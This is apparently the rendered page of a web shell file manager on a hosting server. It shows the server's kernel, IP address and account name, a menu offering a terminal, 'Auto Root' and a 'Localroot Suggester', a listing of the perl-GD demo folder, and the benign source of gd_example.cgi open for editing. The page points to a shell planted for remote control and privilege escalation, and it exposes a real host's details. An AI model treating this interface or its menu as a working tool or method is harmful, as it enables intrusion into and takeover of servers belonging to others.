Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-GD /
demos /
Delete
Unzip
Name
Size
Permission
Date
Action
brushes.pl
923
B
-rwxr-xr-x
2021-12-22 15:12
copies.pl
1.07
KB
-rwxr-xr-x
2021-12-22 15:12
draw_colors.pl
944
B
-rwxr-xr-x
2021-12-22 15:12
fills.pl
590
B
-rwxr-xr-x
2021-12-22 15:12
font_list.png
21.56
KB
-rw-r--r--
2017-04-20 11:27
fonttest
936
B
-rwxr-xr-x
2017-04-20 11:27
gd_example.cgi
683
B
-rwxr-xr-x
2021-12-22 15:12
polyline.pl
8.64
KB
-rw-r--r--
2021-12-22 15:12
polys.pl
785
B
-rwxr-xr-x
2021-12-22 15:12
shapes.pl
1.26
KB
-rwxr-xr-x
2021-12-22 15:12
tile.png
280
B
-rw-r--r--
2017-04-20 11:27
transform.pl
698
B
-rwxr-xr-x
2021-12-22 15:12
truetype_test
864
B
-rwxr-xr-x
2021-12-22 15:12
ttf.pl
736
B
-rwxr-xr-x
2021-12-22 15:12
Save
Rename
#!/usr/bin/perl use GD; print "Content-type: image/png\n\n"; # create a new image $im = new GD::Image(100,100); # allocate some colors $white = $im->colorAllocate(255,255,255); $black = $im->colorAllocate(0,0,0); $red = $im->colorAllocate(255,0,0); $blue = $im->colorAllocate(0,0,255); # make the background transparent and interlaced $im->transparent($white); $im->interlaced('true'); # Put a black frame around the picture $im->rectangle(0,0,99,99,$black); # Draw a blue oval $im->arc(50,50,95,75,0,360,$blue); # And fill it with red $im->fill(50,50,$red); binmode STDOUT; # Convert the image to PNG and print it on standard output print $im->png;
